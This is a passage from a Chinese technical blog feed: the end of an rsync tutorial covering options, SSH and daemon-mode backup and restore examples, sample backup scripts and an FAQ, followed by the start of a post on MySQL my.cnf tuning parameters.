&#8211;backup-dir 将备份文件(如~filename)存放在在目录下。<br />
-suffix=SUFFIX 定义备份文件前缀<br />
-u, &#8211;update 仅仅进行更新，也就是跳过所有已经存在于DST，并且文件时间晚于要备份的文件。(不覆盖更新的文件)<br />
-l, &#8211;links 保留软链结<br />
-L, &#8211;copy-links 想对待常规文件一样处理软链结<br />
&#8211;copy-unsafe-links 仅仅拷贝指向SRC路径目录树以外的链结<br />
&#8211;safe-links 忽略指向SRC路径目录树以外的链结<br />
-H, &#8211;hard-links 保留硬链结<br />
-p, &#8211;perms 保持文件权限<br />
-o, &#8211;owner 保持文件属主信息<br />
-g, &#8211;group 保持文件属组信息<br />
-D, &#8211;devices 保持设备文件信息<br />
-t, &#8211;times 保持文件时间信息<br />
-S, &#8211;sparse 对稀疏文件进行特殊处理以节省DST的空间<br />
-n, &#8211;dry-run现实哪些文件将被传输<br />
-W, &#8211;whole-file 拷贝文件，不进行增量检测<br />
-x, &#8211;one-file-system 不要跨越文件系统边界<br />
-B, &#8211;block-size=SIZE 检验算法使用的块尺寸，默认是700字节<br />
-e, &#8211;rsh=COMMAND 指定使用rsh、ssh方式进行数据同步<br />
&#8211;rsync-path=PATH 指定远程服务器上的rsync命令所在路径信息<br />
-C, &#8211;cvs-exclude 使用和CVS一样的方法自动忽略文件，用来排除那些不希望传输的文件<br />
&#8211;existing 仅仅更新那些已经存在于DST的文件，而不备份那些新创建的文件<br />
&#8211;delete 删除那些DST中SRC没有的文件<br />
&#8211;delete-excluded 同样删除接收端那些被该选项指定排除的文件<br />
&#8211;delete-after 传输结束以后再删除<br />
&#8211;ignore-errors 及时出现IO错误也进行删除<br />
&#8211;max-delete=NUM 最多删除NUM个文件<br />
&#8211;partial 保留那些因故没有完全传输的文件，以是加快随后的再次传输<br />
&#8211;force 强制删除目录，即使不为空<br />
&#8211;numeric-ids 不将数字的用户和组ID匹配为用户名和组名<br />
&#8211;timeout=TIME IP超时时间，单位为秒<br />
-I, &#8211;ignore-times 不跳过那些有同样的时间和长度的文件<br />
&#8211;size-only 当决定是否要备份文件时，仅仅察看文件大小而不考虑文件时间<br />
&#8211;modify-window=NUM 决定文件是否时间相同时使用的时间戳窗口，默认为0<br />
-T &#8211;temp-dir=DIR 在DIR中创建临时文件<br />
&#8211;compare-dest=DIR 同样比较DIR中的文件来决定是否需要备份<br />
-P 等同于 &#8211;partial<br />
&#8211;progress 显示备份过程<br />
-z, &#8211;compress 对备份的文件在传输时进行压缩处理<br />
&#8211;exclude=PATTERN 指定排除不需要传输的文件模式<br />
&#8211;include=PATTERN 指定不排除而需要传输的文件模式<br />
&#8211;exclude-from=FILE 排除FILE中指定模式的文件<br />
&#8211;include-from=FILE 不排除FILE指定模式匹配的文件<br />
&#8211;version 打印版本信息<br />
&#8211;address 绑定到特定的地址<br />
&#8211;config=FILE 指定其他的配置文件，不使用默认的rsyncd.conf文件<br />
&#8211;port=PORT 指定其他的rsync服务端口<br />
&#8211;blocking-io 对远程shell使用阻塞IO<br />
-stats 给出某些文件的传输状态<br />
&#8211;progress 在传输时现实传输过程<br />
&#8211;log-format=formAT 指定日志文件格式<br />
&#8211;password-file=FILE 从FILE中得到密码<br />
&#8211;bwlimit=KBPS 限制I/O带宽，KBytes per second<br />
-h, &#8211;help 显示帮助信息</p>
<p>4、Rsync使用实例<br />
4.1、SSH方式</p>
<p>1、首先在服务端启动ssh服务：<br />
# service sshd start</p>
<p>启动 sshd： [确定]<br />
2、使用rsync进行同步</p>
<p>接下来就可以在客户端使用rsync命令来备份服务端上的数据了，SSH方式是通过系统用户来进行备份的，如下：<br />
# rsync -vzrtopg &#8211;progress -e ssh &#8211;delete <a href="mailto:work@172.16.78.192:/www/">work@172.16.78.192:/www/</a>* /databack/experiment/rsync</p>
<p><a href="mailto:work@172.16.78.192%20s">work@172.16.78.192&#8242;s</a> password:</p>
<p>receiving file list &#8230;</p>
<p>5 files to consider</p>
<p>test/</p>
<p>a</p>
<p>0 100% 0.00kB/s 527:35:41 (1, 20.0% of 5)</p>
<p>b</p>
<p>67 100% 65.43kB/s 0:00:00 (2, 40.0% of 5)</p>
<p>c</p>
<p>0 100% 0.00kB/s 527:35:41 (3, 60.0% of 5)</p>
<p>dd</p>
<p>100663296 100% 42.22MB/s 0:00:02 (4, 80.0% of 5)</p>
<p>sent 96 bytes received 98190 bytes 11563.06 bytes/sec</p>
<p>total size is 100663363 speedup is 1024.19<br />
上面的信息描述了整个的备份过程，以及总共备份数据的大小。<br />
4.2 、后台服务方式</p>
<p>1、启动rsync服务</p>
<p>编辑/etc/xinetd.d/rsync文件，将其中的disable=yes改为disable=no，并重启xinetd服务，如下：<br />
# vi /etc/xinetd.d/rsync</p>
<p>#default: off</p>
<p># description: The rsync server is a good addition to an ftp server, as it \</p>
<p># allows crc checksumming etc.</p>
<p>service rsync</p>
<p>{</p>
<p>disable = no</p>
<p>socket_type = stream</p>
<p>wait = no</p>
<p>user = root</p>
<p>server = /usr/bin/rsync</p>
<p>server_args = &#8211;daemon</p>
<p>log_on_failure += USERID</p>
<p>}</p>
<p># /etc/init.d/xinetd restart</p>
<p>停止 xinetd： [确定]</p>
<p>启动 xinetd： [确定]<br />
2、创建配置文件</p>
<p>默认安装好rsync程序后，并不会自动创建rsync的主配置文件，需要手工来创建，其主配置文件为“/etc/rsyncd.conf”，创建该文件并插入如下内容：<br />
# vi /etc/rsyncd.conf</p>
<p>uid=root</p>
<p>gid=root</p>
<p>max connections=4</p>
<p>log file=/var/log/rsyncd.log</p>
<p>pid file=/var/run/rsyncd.pid</p>
<p>lock file=/var/run/rsyncd.lock</p>
<p>secrets file=/etc/rsyncd.passwd</p>
<p>hosts deny=172.16.78.0/22</p>
<p>[www]</p>
<p>comment= backup <a href="http://www.5bay.cn/tag/web" class="st_tag internal_tag" rel="tag" title="标签 web 下的日志">web</a></p>
<p>path=/www</p>
<p>read only = no</p>
<p>exclude=test</p>
<p>auth users=work<br />
3、创建密码文件</p>
<p>采用这种方式不能使用系统用户对客户端进行认证，所以需要创建一个密码文件，其格式为“username:password”，用户名可以和密码可以随便定义，最好不要和系统帐户一致，同时要把创建的密码文件权限设置为600，这在前面的模块参数做了详细介绍。<br />
# echo “work:abc123&#8243; &gt; /etc/rsyncd.passwd</p>
<p># chmod 600 /etc/rsyncd.passwd<br />
4、备份</p>
<p>完成以上工作，现在就可以对数据进行备份了，如下：<br />
# rsync -avz &#8211;progress &#8211;delete <a href="mailto:work@172.16.78.192::www">work@172.16.78.192::www</a> /databack/experiment/rsync</p>
<p>Password:</p>
<p>receiving file list &#8230;</p>
<p>6 files to consider</p>
<p>./ files&#8230;</p>
<p>a</p>
<p>0 100% 0.00kB/s 528:20:41 (1, 50.0% of 6)</p>
<p>b</p>
<p>67 100% 65.43kB/s 0:00:00 (2, 66.7% of 6)</p>
<p>c</p>
<p>0 100% 0.00kB/s 528:20:41 (3, 83.3% of 6)</p>
<p>dd</p>
<p>100663296 100% 37.49MB/s 0:00:02 (4, 100.0% of 6)</p>
<p>sent 172 bytes received 98276 bytes 17899.64 bytes/sec</p>
<p>total size is 150995011 speedup is 1533.75<br />
5、恢复</p>
<p>当服务器的数据出现问题时，那么这时就需要通过客户端的数据对服务端进行恢复，但前提是服务端允许客户端有写入权限，否则也不能在客户端直接对服务端进行恢复，使用rsync对数据进行恢复的方法如下：<br />
# rsync -avz &#8211;progress /databack/experiment/rsync/ <a href="mailto:work@172.16.78.192::www">work@172.16.78.192::www</a></p>
<p>Password:</p>
<p>building file list &#8230;</p>
<p>6 files to consider</p>
<p>./</p>
<p>a</p>
<p>b</p>
<p>67 100% 0.00kB/s 0:00:00 (2, 66.7% of 6)</p>
<p>c</p>
<p>sent 258 bytes received 76 bytes 95.43 bytes/sec</p>
<p>total size is 150995011 speedup is 452080.87</p>
<p>5、示例脚本</p>
<p>这里这些脚本都是rsync网站上的例子：<br />
1、每隔七天将数据往中心服务器做增量备份<br />
#!/bin/sh<br />
# This script does personal backups to a rsync backup server. You will end up<br />
# with a 7 day rotating incremental backup. The incrementals will go<br />
# into subdirectories named after the day of the week, and the current<br />
# full backup goes into a directory called “current”<br />
# <a href="mailto:tridge@linuxcare.com">tridge@linuxcare.com</a><br />
# directory to backup<br />
BDIR=/home/$USER<br />
# excludes file &#8211; this contains a wildcard pattern per line of files to exclude<br />
EXCLUDES=$HOME/cron/excludes<br />
# the name of the backup machine<br />
BSERVER=owl<br />
# your password on the backup server<br />
export RSYNC_PASSWORD=XXXXXX<br />
########################################################################<br />
BACKUPDIR=`date +%A`<br />
OPTS=”&#8211;force &#8211;ignore-errors &#8211;delete-excluded &#8211;exclude-from=$EXCLUDES<br />
&#8211;delete &#8211;backup &#8211;backup-dir=/$BACKUPDIR -a”<br />
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin<br />
# the following line clears the last weeks incremental directory<br />
[ -d $HOME/emptydir ] || mkdir $HOME/emptydir<br />
rsync &#8211;delete -a $HOME/emptydir/ $BSERVER::$USER/$BACKUPDIR/<br />
rmdir $HOME/emptydir<br />
# now the actual transfer<br />
rsync $OPTS $BDIR $BSERVER::$USER/current<br />
2、备份至一个空闲的硬盘<br />
#!/bin/sh<br />
export PATH=/usr/local/bin:/usr/bin:/bin<br />
LIST=”rootfs usr data data2&#8243;<br />
for d in $LIST; do<br />
mount /backup/$d<br />
rsync -ax &#8211;exclude fstab &#8211;delete /$d/ /backup/$d/<br />
umount /backup/$d<br />
done<br />
DAY=`date “+%A”`<br />
rsync -a &#8211;delete /usr/local/apache /data2/backups/$DAY<br />
rsync -a &#8211;delete /data/solid /data2/backups/$DAY<br />
3、对vger.rutgers.edu的cvs树进行镜像<br />
#!/bin/bash<br />
cd /var/www/cvs/vger/<br />
PATH=/usr/local/bin:/usr/freeware/bin:/usr/bin:/bin<br />
RUN=`lps x | grep rsync | grep -v grep | wc -l`<br />
if [ "$RUN" -gt 0 ]; then<br />
echo already running<br />
exit 1<br />
fi<br />
rsync -az vger.rutgers.edu::cvs/CVSROOT/ChangeLog $HOME/ChangeLog<br />
sum1=`sum $HOME/ChangeLog`<br />
sum2=`sum /var/www/cvs/vger/CVSROOT/ChangeLog`<br />
if [ "$sum1" = "$sum2" ]; then<br />
echo nothing to do<br />
exit 0<br />
fi<br />
rsync -az &#8211;delete &#8211;force vger.rutgers.edu::cvs/ /var/www/cvs/vger/<br />
exit 0<br />
6、FAQ</p>
<p>Q：如何通过ssh进行rsync，而且无须输入密码？</p>
<p>A：可以通过以下几个步骤<br />
1. 通过ssh-keygen在server A上建立SSH keys，不要指定密码，你会在~/.ssh下看到identity和identity.pub文件</p>
<p>2. 在server B上的home目录建立子目录.ssh</p>
<p>3. 将A的identity.pub拷贝到server B上</p>
<p>4. 将identity.pub加到~[user b]/.ssh/authorized_keys</p>
<p>5. 于是server A上的A用户，可通过下面命令以用户B ssh到server B上了</p>
<p>e.g. ssh -l userB serverB</p>
<p>这样就使server A上的用户A就可以ssh以用户B的身份无需密码登陆到server B上了。<br />
Q：如何通过在不危害安全的情况下通过防火墙使用rsync?</p>
<p>A：解答如下：<br />
这通常有两种情况，一种是服务器在防火墙内，一种是服务器在防火墙外。无论哪种情况，通常还是使用ssh，这时最好新建一个备份用户，并且配置sshd仅允许这个用户通过RSA认证方式进入。如果服务器在防火墙内，则最好限定客户端的IP地址，拒绝其它所有连接。如果客户机在防火墙内，则可以简单允许防火墙打开TCP端口22的ssh外发连接就ok了。<br />
Q：我能将更改过或者删除的文件也备份上来吗？</p>
<p>A：当然可以：<br />
你可以使用如：rsync -other -options -backupdir = ./backup-2000-2-13 &#8230;这样的命令来实现。</p>
<p>这样如果源文件:/path/to/some/file.c改变了，那么旧的文件就会被移到./backup-2000-2-13/path/to/some/file.c，</p>
<p>这里这个目录需要自己手工建立起来<br />
Q：我需要在防火墙上开放哪些端口以适应rsync？</p>
<p>A：视情况而定<br />
rsync可以直接通过873端口的tcp连接传文件，也可以通过22端口的ssh来进行文件传递，但你也可以通过下列命令改变它的端口：<br />
rsync &#8211;port 8730 otherhost::</p>
<p>或者</p>
<p>rsync -e &#8216;ssh -p 2002&#8242; otherhost:<br />
Q：我如何通过rsync只复制目录结构，忽略掉文件呢？</p>
<p>A：rsync -av &#8211;include &#8216;*/&#8217; &#8211;exclude &#8216;*&#8217; source-dir dest-dir<br />
Q：为什么我总会出现”Read-only file system”的错误呢？</p>
<p>A：看看是否忘了设”read only = no”了<br />
Q：为什么我会出现<a href="mailto:%20@ERROR">&#8216;@ERROR</a>: invalid gid&#8217;的错误呢？</p>
<p>A：rsync使用时默认是用uid=nobody;gid=nobody来运行的，如果你的系统不存在nobody组的话，就会出现这样的错误，可以试试gid = nogroup或者其它<br />
Q：绑定端口873失败是怎么回事？</p>
<p>A：如果你不是以root权限运行这一守护进程的话，因为1024端口以下是特权端口，会出现这样的错误。你可以用&#8211;port参数来改变。<br />
Q：为什么我认证失败？</p>
<p>A：从你的命令行看来：<br />
你用的是：<br />
&gt; bash$ rsync -a 144.16.251.213::test test</p>
<p>&gt; Password:</p>
<p>&gt; @ERROR: auth failed on module test</p>
<p>&gt;</p>
<p>&gt; I dont understand this. Can somebody explain as to how to acomplish this.</p>
<p>&gt; All suggestions are welcome.</p>
<p>应该是没有以你的用户名登陆导致的问题，试试rsync -a <a href="mailto:max@144.16.251.213::test">max@144.16.251.213::test</a> test</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%88%A4%E6%96%AD" title="判断" rel="tag">判断</a>, <a href="http://www.5bay.cn/tag/%E5%A4%B1%E8%B4%A5" title="失败" rel="tag">失败</a>, <a href="http://www.5bay.cn/tag/%E5%AE%9E%E4%BE%8B" title="实例" rel="tag">实例</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%9B%B4%E6%96%B0" title="更新" rel="tag">更新</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E6%BA%90%E4%BB%A3%E7%A0%81" title="源代码" rel="tag">源代码</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%AF%B4%E6%98%8E" title="说明" rel="tag">说明</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%95%9C%E5%83%8F" title="镜像" rel="tag">镜像</a>, <a href="http://www.5bay.cn/tag/%E9%9A%90%E8%97%8F" title="隐藏" rel="tag">隐藏</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/rsyncxiangjie.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mysql优化及全文搜索</title>
		<link>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html</link>
		<comments>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:29:20 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[session]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[含义]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[引入]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[最快]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[镜像]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=373</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>mysql my.cnf文件常见优化模块 [mysqld] port = 3306 server-id = 1 socket = /tmp/mysql.sock # 避免MySQL的外部锁定，减少出错几率增强稳定性。 skip-locking # 禁止MySQL对外部连接进行DNS解析 skip-name-resolve # 指定MySQL可能的连接数量 back_log = 256 # 使用查询缓冲 query_cache_size = 32M query_cache_type= 1 # 指定用于索引的缓冲区大小 对于内存在4GB左右的服务器该参数可设置为256M或384M key_reads / key_read_requests 至少是1:100，1:1000更好 key_buffer_size = 256M # 允许的请求包大小 max_allowed_packet = 4M # 缓存可重用的线程数 thread_cache = 256 thread_cache_size = 64 # 每个线程的栈大小 [...]]]></description>
			<content:encoded><![CDATA[<p>mysql my.cnf文件常见优化模块<br />
[mysqld]<br />
port = 3306<br />
server-id = 1<br />
socket = /tmp/mysql.sock</p>
<p># 避免MySQL的外部锁定，减少出错几率增强稳定性。<br />
skip-locking</p>
<p># 禁止MySQL对外部连接进行DNS解析<br />
skip-name-resolve</p>
<p># 指定MySQL可能的连接数量<br />
back_log = 256<br />
<span id="more-373"></span><br />
# 使用查询缓冲<br />
query_cache_size = 32M<br />
query_cache_type= 1</p>
<p># 指定用于索引的缓冲区大小 对于内存在4GB左右的服务器该参数可设置为256M或384M key_reads / key_read_requests 至少是1:100，1:1000更好<br />
key_buffer_size = 256M</p>
<p># 允许的请求包大小<br />
max_allowed_packet = 4M</p>
<p># 缓存可重用的线程数<br />
thread_cache = 256<br />
thread_cache_size = 64</p>
<p># 每个线程的栈大小<br />
thread_stack = 256K</p>
<p># 指定表高速缓存的大小 对于有1G内存的机器，推荐值是128－256<br />
table_cache = 256K</p>
<p># 查询排序时所能使用的缓冲区大小 每连接独占<br />
sort_buffer_size = 6M</p>
<p># 读查询操作所能使用的缓冲区大小 每连接独占<br />
read_buffer_size = 4M</p>
<p># 联合查询操作所能使用的缓冲区大小 每连接独占<br />
join_buffer_size = 8M</p>
<p>#MyISAM表发生变化时重新排序所需的缓冲<br />
myisam_sort_buffer_size = 64M</p>
<p># 指定MySQL查询缓冲区的大小<br />
query_cache_size = 64M</p>
<p>tmp_table_size = 256M</p>
<p># 指定MySQL允许的最大连接进程数<br />
max_connections = 768</p>
<p>max_connect_errors = 10000000</p>
<p># 指定一个请求的最大连接时间<br />
wait_timeout = 10</p>
<p># 该参数取值为服务器逻辑CPU数量×2<br />
thread_concurrency = 8</p>
<p>#记录慢查询,然后对慢查询一一优化<br />
log-slow-queries = slow.log<br />
long_query_time = 2<br />
log-queries-not-using-indexes</p>
<p>#关闭不需要的表类型,如果你需要,就不要加上这个<br />
skip-innodb<br />
skip-bdb<br />
#指定用于索引的缓冲区大小，增加它可得到更好的索引处理性能。     对于内存在4GB左右的服务器该参数可设置为256M或384M。     注意：该参数值设置的过大反而会是服务器整体效率降低！<br />
key_buffer_size = 256M</p>
<p>MySQL server has gone away 的解决办法</p>
<p>有时候使用MySQL(和PHP搭配之最佳组合)命令行导入备份时会出现“MySQL(和PHP搭配之最佳组合) server has gone away”<a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" class="st_tag internal_tag" rel="tag" title="标签 错误 下的日志">错误</a>，这可能是因为其中一些insert语句的大小超出了MySQL(和PHP搭配之最佳组合)目前设置的缓冲区大小。</p>
<p>解决办法</p>
<p>1.使用php(做为现在的主流开发语言)myadmin 备份MySQL(和PHP搭配之最佳组合)的时候，只选择</p>
<p>数据:<br />
     完整插入<br />
     扩展插入</p>
<p>扩展插入不要勾选</p>
<p>2.使用 MySQL(和PHP搭配之最佳组合)dump 备份的时候不添加 &#8211;opt  </p>
<p>这样就只会生成完整的insert语句，导入时候不会出错。</p>
<p>3.修改my.ini</p>
<p>打开my.ini 找到[MySQL(和PHP搭配之最佳组合)d]这一行，下面添加</p>
<p>[MySQL(和PHP搭配之最佳组合)d]</p>
<p>#扩大缓冲区<br />
max_allowed_packet=32M  <br />
保存后，重启MySQL(和PHP搭配之最佳组合)</p>
<div>
<p>my.cnf配置(转)</p>
<p>mysqld程序&#8211;目录和文件<br />
basedir = path 使用给定目录作为根目录(安装目录)。<br />
character-sets-dir = path 给出存放着字符集的目录。<br />
datadir = path 从给定目录读取数据库文件。<br />
pid-file = filename 为mysqld程序指定一个存放进程ID的文件(仅适用于UNIX/Linux系统); Init-V脚本需要使用这个文件里的进程ID结束mysqld进程。<br />
socket = filename 为MySQL客户程序与服务器之间的本地通信指定一个套接字文件(仅适用于UNIX/Linux系统; 默认设置一般<br />
是/var/lib/mysql/mysql.sock文件)。<br />
在Windows环境下，如果MySQL客户与服务器是通过命名管道进行通信的，&#8211;sock选项给出的将是该命名管道的名字(默认设置是MySQL)。 lower_case_table_name = 1/0 新目录和数据表的名字是否只允许使用小写字母; 这个选项在Windows环境下的默认设置是1(只允许使用小写字母)。<br />
mysqld程序&#8211;语言设置<br />
character-sets-server = name 新数据库或数据表的默认字符集。为了与MySQL的早期版本保持兼容，这个字符集也可以用&#8211;default-character-set选项给出; 但这个选项已经显得有点过时了。<br />
collation-server = name 新数据库或数据表的默认排序方式。<br />
lanuage = name 用指定的语言显示出错信息。<br />
mysqld程序&#8211;通信、网络、信息安全<br />
enable-named-pipes 允许Windows 2000/XP环境下的客户和服务器使用命名管道(named pipe)进行通信。这个命名管道的默认名字是MySQL，但可以用&#8211;socket选项来改变。<br />
local-infile [=0] 允许/禁止使用LOAD DATA LOCAL语句来处理本地文件。<br />
myisam-recover [=opt1, opt2, ...] 在启动时自动修复所有受损的MyISAM数据表。这个选项的可取值有4种:DEFAULT、BACKUP、QUICK和FORCE; 它们与myisamchk程序的同名选项作用相同。<br />
old-passwords 使用MySQL 3.23和4.0版本中的老算法来加密mysql数据库里的密码(默认使用MySQL 4.1版本开始引入的新加密算法)。 port = n 为MySQL程序指定一个TCP/IP通信端口(通常是3306端口)。<br />
safe-user-create 只有在mysql.user数据库表上拥有INSERT权限的用户才能使用GRANT命令; 这是一种双保险机制(此用户还必须具备GRANT权限才能执行GRANT命令)。<br />
shared-memory 允许使用内存(shared memory)进行通信(仅适用于Windows)。<br />
shared-memory-base-name = name 给共享内存块起一个名字(默认的名字是MySQL)。<br />
skip-grant-tables 不使用mysql数据库里的信息来进行访问控制(警告:这将允许用户任何用户去修改任何数据库)。<br />
skip-host-cache 不使用高速缓存区来存放主机名和IP地址的对应关系。<br />
skip-name-resovle 不把IP地址解析为主机名; 与访问控制(mysql.user数据表)有关的检查全部通过IP地址行进。<br />
skip-networking 只允许通过一个套接字文件(Unix/Linux系统)或通过命名管道(Windows系统)进行本地连接，不允许ICP/IP连接; 这提高了安全性，但阻断了来自网络的外部连接和所有的Java客户程序(Java客户即使在本地连接里也使用TCP/IP)。<br />
user = name mysqld程序在启动后将在给定UNIX/Linux账户下执行; mysqld必须从root账户启动才能在启动后切换到另一个账户下执行;<br />
mysqld_safe脚本将默认使用&#8211;user=mysql选项来启动mysqld程序。<br />
mysqld程序&#8211;内存管理、优化、查询缓存区<br />
bulk_insert_buffer_size = n 为一次插入多条新记录的INSERT命令分配的缓存区长度(默认设置是8M)。<br />
key_buffer_size = n 用来存放索引区块的RMA值(默认设置是8M)。<br />
join_buffer_size = n 在参加JOIN操作的数据列没有索引时为JOIN操作分配的缓存区长度(默认设置是128K)。<br />
max_heap_table_size = n HEAP数据表的最大长度(默认设置是16M); 超过这个长度的HEAP数据表将被存入一个临时文件而不是驻留在内存里。<br />
max_connections = n MySQL服务器同时处理的数据库连接的最大数量(默认设置是100)。<br />
query_cache_limit = n 允许临时存放在查询缓存区里的查询结果的最大长度(默认设置是1M)。<br />
query_cache_size = n 查询缓存区的最大长度(默认设置是0，不开辟查询缓存区)。<br />
query_cache_type = 0/1/2 查询缓存区的工作模式:0, 禁用查询缓存区; 1，启用查询缓存区(默认设置); 2，”按需分配”模式，只响应SELECT SQL_CACHE命令。<br />
read_buffer_size = n 为从数据表顺序读取数据的读操作保留的缓存区的长度(默认设置是128KB); 这个选项的设置值在必要时可以用SQL命令SET SESSION read_buffer_size = n命令加以改变。<br />
read_rnd_buffer_size = n 类似于read_buffer_size选项，但针对的是按某种特定顺序(比如使用了ORDER BY子句的查询)输出的查询结果(默认设置是256K)。<br />
sore_buffer = n 为排序操作分配的缓存区的长度(默认设置是2M); 如果这个缓存区太小，则必须创建一个临时文件来进行排序。<br />
table_cache = n 同时打开的数据表的数量(默认设置是64)。<br />
tmp_table_size = n 临时HEAP数据表的最大长度(默认设置是32M); 超过这个长度的临时数据表将被转换为MyISAM数据表并存入一个临时文件。<br />
